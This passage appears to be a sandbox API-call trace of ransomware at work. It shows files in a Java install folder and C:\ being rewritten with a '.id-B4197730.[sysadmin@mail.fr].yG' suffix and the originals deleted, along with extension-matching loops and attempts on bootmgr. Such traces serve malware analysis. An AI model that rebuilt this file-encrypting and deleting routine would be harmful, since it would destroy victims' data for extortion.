	[0184.065] ReadFile (in: hFile=0x340, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x5240, lpOverlapped=0x0) returned 1
	[0184.469] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0x5250, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0x5250, lpOverlapped=0x0) returned 1
	[0184.470] ReadFile (in: hFile=0x340, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.471] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0xea, lpOverlapped=0x0) returned 1
	[0184.471] SetEndOfFile (hFile=0x3a4) returned 1
	[0184.471] CloseHandle (hObject=0x3a4) returned 1
	[0184.471] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.471] SetEndOfFile (hFile=0x340) returned 1
	[0184.494] CloseHandle (hObject=0x340) returned 1
	[0184.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0184.495] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 1
	[0184.495] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0184.495] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0184.495] lstrlenW (lpString=".doc") returned 4
	[0184.495] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0184.495] lstrlenW (lpString=".docx") returned 5
	[0184.495] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0184.495] lstrlenW (lpString=".pdf") returned 4
	[0184.495] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0184.495] lstrlenW (lpString=".xls") returned 4
	[0184.495] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0184.495] lstrlenW (lpString=".xlsx") returned 5
	[0184.496] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0184.496] lstrlenW (lpString=".ppt") returned 4
	[0184.496] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0184.496] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0184.496] lstrlenW (lpString=".zip") returned 4
	[0184.496] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0184.496] lstrlenW (lpString=".rar") returned 4
	[0184.496] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0184.496] lstrlenW (lpString=".bz2") returned 4
	[0184.496] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0184.496] lstrlenW (lpString=".7z") returned 3
	[0184.496] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0184.496] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0184.496] lstrlenW (lpString=".dbf") returned 4
	[0184.496] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0184.496] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0184.496] lstrlenW (lpString=".1cd") returned 4
	[0184.496] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0184.496] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0184.496] lstrlenW (lpString=".jpg") returned 4
	[0184.496] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0184.496] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0184.496] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0184.496] lstrlenW (lpString=".doc") returned 4
	[0184.496] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0184.496] lstrlenW (lpString=".docx") returned 5
	[0184.496] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0184.496] lstrlenW (lpString=".pdf") returned 4
	[0184.497] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0184.497] lstrlenW (lpString=".xls") returned 4
	[0184.497] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0184.497] lstrlenW (lpString=".xlsx") returned 5
	[0184.497] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0184.497] lstrlenW (lpString=".ppt") returned 4
	[0184.497] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0184.497] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0184.497] lstrlenW (lpString=".zip") returned 4
	[0184.497] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0184.497] lstrlenW (lpString=".rar") returned 4
	[0184.497] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0184.497] lstrlenW (lpString=".bz2") returned 4
	[0184.497] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0184.497] lstrlenW (lpString=".7z") returned 3
	[0184.497] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0184.497] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0184.497] lstrlenW (lpString=".dbf") returned 4
	[0184.497] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0184.497] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0184.497] lstrlenW (lpString=".1cd") returned 4
	[0184.497] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0184.497] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0184.497] lstrlenW (lpString=".jpg") returned 4
	[0184.497] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0184.498] lstrcmpiW (lpString1=".cpl", lpString2=".yG") returned -1
	[0184.498] lstrlenW (lpString="javacpl.cpl") returned 11
	[0184.498] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.498] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=187392) returned 1
	[0184.498] CloseHandle (hObject=0x340) returned 1
	[0184.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 0x20
	[0184.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.499] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.499] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.499] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.499] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0184.510] GetLastError () returned 0x0
	[0184.510] ReadFile (in: hFile=0x340, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x2dc00, lpOverlapped=0x0) returned 1
	[0184.530] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0x2dc10, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0x2dc10, lpOverlapped=0x0) returned 1
	[0184.542] ReadFile (in: hFile=0x340, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.542] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0xea, lpOverlapped=0x0) returned 1
	[0184.542] SetEndOfFile (hFile=0x3a4) returned 1
	[0184.545] CloseHandle (hObject=0x3a4) returned 1
	[0184.546] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.546] SetEndOfFile (hFile=0x340) returned 1
	[0184.554] CloseHandle (hObject=0x340) returned 1
	[0184.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0184.554] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 1
	[0184.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0184.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0184.555] lstrlenW (lpString=".doc") returned 4
	[0184.555] lstrcmpiW (lpString1=".doc", lpString2=".cpl") returned 1
	[0184.555] lstrlenW (lpString=".docx") returned 5
	[0184.555] lstrcmpiW (lpString1=".docx", lpString2="l.cpl") returned -1
	[0184.555] lstrlenW (lpString=".pdf") returned 4
	[0184.555] lstrcmpiW (lpString1=".pdf", lpString2=".cpl") returned 1
	[0184.556] lstrlenW (lpString=".xls") returned 4
	[0184.556] lstrcmpiW (lpString1=".xls", lpString2=".cpl") returned 1
	[0184.556] lstrlenW (lpString=".xlsx") returned 5
	[0184.556] lstrcmpiW (lpString1=".xlsx", lpString2="l.cpl") returned -1
	[0184.556] lstrlenW (lpString=".ppt") returned 4
	[0184.556] lstrcmpiW (lpString1=".ppt", lpString2=".cpl") returned 1
	[0184.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0184.556] lstrlenW (lpString=".zip") returned 4
	[0184.556] lstrcmpiW (lpString1=".zip", lpString2=".cpl") returned 1
	[0184.556] lstrlenW (lpString=".rar") returned 4
	[0184.556] lstrcmpiW (lpString1=".rar", lpString2=".cpl") returned 1
	[0184.556] lstrlenW (lpString=".bz2") returned 4
	[0184.556] lstrcmpiW (lpString1=".bz2", lpString2=".cpl") returned -1
	[0184.556] lstrlenW (lpString=".7z") returned 3
	[0184.556] lstrcmpiW (lpString1=".7z", lpString2="cpl") returned -1
	[0184.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0184.556] lstrlenW (lpString=".dbf") returned 4
	[0184.557] lstrcmpiW (lpString1=".dbf", lpString2=".cpl") returned 1
	[0184.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0184.557] lstrlenW (lpString=".1cd") returned 4
	[0184.557] lstrcmpiW (lpString1=".1cd", lpString2=".cpl") returned -1
	[0184.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0184.557] lstrlenW (lpString=".jpg") returned 4
	[0184.557] lstrcmpiW (lpString1=".jpg", lpString2=".cpl") returned 1
	[0184.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0184.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0184.557] lstrlenW (lpString=".doc") returned 4
	[0184.557] lstrcmpiW (lpString1=".doc", lpString2=".cpl") returned 1
	[0184.557] lstrlenW (lpString=".docx") returned 5
	[0184.557] lstrcmpiW (lpString1=".docx", lpString2="l.cpl") returned -1
	[0184.557] lstrlenW (lpString=".pdf") returned 4
	[0184.557] lstrcmpiW (lpString1=".pdf", lpString2=".cpl") returned 1
	[0184.557] lstrlenW (lpString=".xls") returned 4
	[0184.557] lstrcmpiW (lpString1=".xls", lpString2=".cpl") returned 1
	[0184.557] lstrlenW (lpString=".xlsx") returned 5
	[0184.557] lstrcmpiW (lpString1=".xlsx", lpString2="l.cpl") returned -1
	[0184.557] lstrlenW (lpString=".ppt") returned 4
	[0184.557] lstrcmpiW (lpString1=".ppt", lpString2=".cpl") returned 1
	[0184.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0184.557] lstrlenW (lpString=".zip") returned 4
	[0184.558] lstrcmpiW (lpString1=".zip", lpString2=".cpl") returned 1
	[0184.558] lstrlenW (lpString=".rar") returned 4
	[0184.558] lstrcmpiW (lpString1=".rar", lpString2=".cpl") returned 1
	[0184.558] lstrlenW (lpString=".bz2") returned 4
	[0184.558] lstrcmpiW (lpString1=".bz2", lpString2=".cpl") returned -1
	[0184.558] lstrlenW (lpString=".7z") returned 3
	[0184.558] lstrcmpiW (lpString1=".7z", lpString2="cpl") returned -1
	[0184.558] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0184.558] lstrlenW (lpString=".dbf") returned 4
	[0184.558] lstrcmpiW (lpString1=".dbf", lpString2=".cpl") returned 1
	[0184.558] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0184.558] lstrlenW (lpString=".1cd") returned 4
	[0184.558] lstrcmpiW (lpString1=".1cd", lpString2=".cpl") returned -1
	[0184.558] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0184.558] lstrlenW (lpString=".jpg") returned 4
	[0184.558] lstrcmpiW (lpString1=".jpg", lpString2=".cpl") returned 1
	[0184.558] lstrcmpiW (lpString1=".exe", lpString2=".yG") returned -1
	[0184.558] lstrlenW (lpString="javacpl.exe") returned 11
	[0184.559] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.560] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=80448) returned 1
	[0184.560] CloseHandle (hObject=0x340) returned 1
	[0184.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 0x20
	[0184.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.560] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.560] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.560] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.560] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0184.570] GetLastError () returned 0x0
	[0184.570] ReadFile (in: hFile=0x340, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x13a40, lpOverlapped=0x0) returned 1
	[0184.575] WriteFile (in: hFile=0x30c, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0x13a50, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0x13a50, lpOverlapped=0x0) returned 1
	[0184.577] ReadFile (in: hFile=0x340, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.577] WriteFile (in: hFile=0x30c, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0xea, lpOverlapped=0x0) returned 1
	[0184.577] SetEndOfFile (hFile=0x30c) returned 1
	[0184.578] CloseHandle (hObject=0x30c) returned 1
	[0184.578] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.578] SetEndOfFile (hFile=0x340) returned 1
	[0184.579] CloseHandle (hObject=0x340) returned 1
	[0184.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0184.580] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) 

Thread:
	id = 104
	os_tid = 0xccc

	[0178.602] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3ca0090
	[0178.603] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3cb0098
	[0178.603] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6f95d0
	[0178.603] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x71fe08
	[0178.603] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6f9708
	[0178.603] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x405c020
	[0178.606] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6f9678
	[0178.606] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f9678, Size=0x20) returned 0x6de020
	[0178.606] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6f95e8
	[0178.607] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f95e8, Size=0x20) returned 0x6de070
	[0178.607] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0178.607] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0178.607] Wow64DisableWow64FsRedirection (in: OldValue=0x365ff50 | out: OldValue=0x365ff50*=0x0) returned 1
	[0178.607] lstrlenW (lpString="kernel32.dll") returned 12
	[0178.607] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de020 | out: hHeap=0x6a0000) returned 1
	[0178.607] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0178.607] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de070 | out: hHeap=0x6a0000) returned 1
	[0178.607] Sleep (dwMilliseconds=0x64) 
	[0178.890] Sleep (dwMilliseconds=0x64) 
	[0179.156] Sleep (dwMilliseconds=0x64) 
	[0179.503] lstrlenW (lpString="bootmgr") returned 7
	[0179.503] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.504] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=395226) returned 1
	[0179.504] CloseHandle (hObject=0x350) returned 1
	[0179.504] GetFileAttributesW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27
	[0179.504] GetFileAttributesW (lpFileName="C:\\bootmgr.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\bootmgr.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.504] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0
	[0179.505] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.505] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0179.505] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0179.505] lstrlenW (lpString=".doc") returned 4
	[0179.505] lstrcmpiW (lpString1=".doc", lpString2="tmgr") returned -1
	[0179.505] lstrlenW (lpString=".docx") returned 5
	[0179.505] lstrcmpiW (lpString1=".docx", lpString2="otmgr") returned -1
	[0179.505] lstrlenW (lpString=".pdf") returned 4
	[0179.505] lstrcmpiW (lpString1=".pdf", lpString2="tmgr") returned -1
	[0179.505] lstrlenW (lpString=".xls") returned 4
	[0179.505] lstrcmpiW (lpString1=".xls", lpString2="tmgr") returned -1
	[0179.505] lstrlenW (lpString=".xlsx") returned 5
	[0179.505] lstrcmpiW (lpString1=".xlsx", lpString2="otmgr") returned -1
	[0179.505] lstrlenW (lpString=".ppt") returned 4
	[0179.506] lstrcmpiW (lpString1=".ppt", lpString2="tmgr") returned -1
	[0179.506] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0179.506] lstrlenW (lpString=".zip") returned 4
	[0179.506] lstrcmpiW (lpString1=".zip", lpString2="tmgr") returned -1
	[0179.506] lstrlenW (lpString=".rar") returned 4
	[0179.506] lstrcmpiW (lpString1=".rar", lpString2="tmgr") returned -1
	[0179.506] lstrlenW (lpString=".bz2") returned 4
	[0179.506] lstrcmpiW (lpString1=".bz2", lpString2="tmgr") returned -1
	[0179.506] lstrlenW (lpString=".7z") returned 3
	[0179.506] lstrcmpiW (lpString1=".7z", lpString2="mgr") returned -1
	[0179.506] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0179.506] lstrlenW (lpString=".dbf") returned 4
	[0179.506] lstrcmpiW (lpString1=".dbf", lpString2="tmgr") returned -1
	[0179.506] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0179.507] lstrlenW (lpString=".1cd") returned 4
	[0179.507] lstrcmpiW (lpString1=".1cd", lpString2="tmgr") returned -1
	[0179.507] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0179.507] lstrlenW (lpString=".jpg") returned 4
	[0179.507] lstrcmpiW (lpString1=".jpg", lpString2="tmgr") returned -1
	[0179.507] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0179.507] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0179.507] lstrlenW (lpString=".doc") returned 4
	[0179.507] lstrcmpiW (lpString1=".doc", lpString2="tmgr") returned -1
	[0179.507] lstrlenW (lpString=".docx") returned 5
	[0179.507] lstrcmpiW (lpString1=".docx", lpString2="otmgr") returned -1
	[0179.507] lstrlenW (lpString=".pdf") returned 4
	[0179.507] lstrcmpiW (lpString1=".pdf", lpString2="tmgr") returned -1
	[0179.507] lstrlenW (lpString=".xls") returned 4
	[0179.507] lstrcmpiW (lpString1=".xls", lpString2="tmgr") returned -1
	[0179.508] lstrlenW (lpString=".xlsx") returned 5
	[0179.508] lstrcmpiW (lpString1=".xlsx", lpString2="otmgr") returned -1
	[0179.508] lstrlenW (lpString=".ppt") returned 4
	[0179.508] lstrcmpiW (lpString1=".ppt", lpString2="tmgr") returned -1
	[0179.508] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0179.508] lstrlenW (lpString=".zip") returned 4
	[0179.508] lstrcmpiW (lpString1=".zip", lpString2="tmgr") returned -1
	[0179.508] lstrlenW (lpString=".rar") returned 4
	[0179.508] lstrcmpiW (lpString1=".rar", lpString2="tmgr") returned -1
	[0179.508] lstrlenW (lpString=".bz2") returned 4
	[0179.508] lstrcmpiW (lpString1=".bz2", lpString2="tmgr") returned -1
	[0179.508] lstrlenW (lpString=".7z") returned 3
	[0179.508] lstrcmpiW (lpString1=".7z", lpString2="mgr") returned -1
	[0179.508] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0179.508] lstrlenW (lpString=".dbf") returned 4
	[0179.509] lstrcmpiW (lpString1=".dbf", lpString2="tmgr") returned -1
	[0179.509] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0179.509] lstrlenW (lpString=".1cd") returned 4
	[0179.509] lstrcmpiW (lpString1=".1cd", lpString2="tmgr") returned -1
	[0179.509] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0179.509] lstrlenW (lpString=".jpg") returned 4
	[0179.509] lstrcmpiW (lpString1=".jpg", lpString2="tmgr") returned -1
	[0179.509] lstrcmpiW (lpString1=".sys", lpString2=".yG") returned -1
	[0179.509] lstrlenW (lpString="hiberfil.sys") returned 12
	[0179.509] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.510] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0179.510] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0179.510] lstrlenW (lpString=".doc") returned 4
	[0179.510] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0179.510] lstrlenW (lpString=".docx") returned 5
	[0179.510] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1
	[0179.510] lstrlenW (lpString=".pdf") returned 4
	[0179.510] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0179.510] lstrlenW (lpString=".xls") returned 4
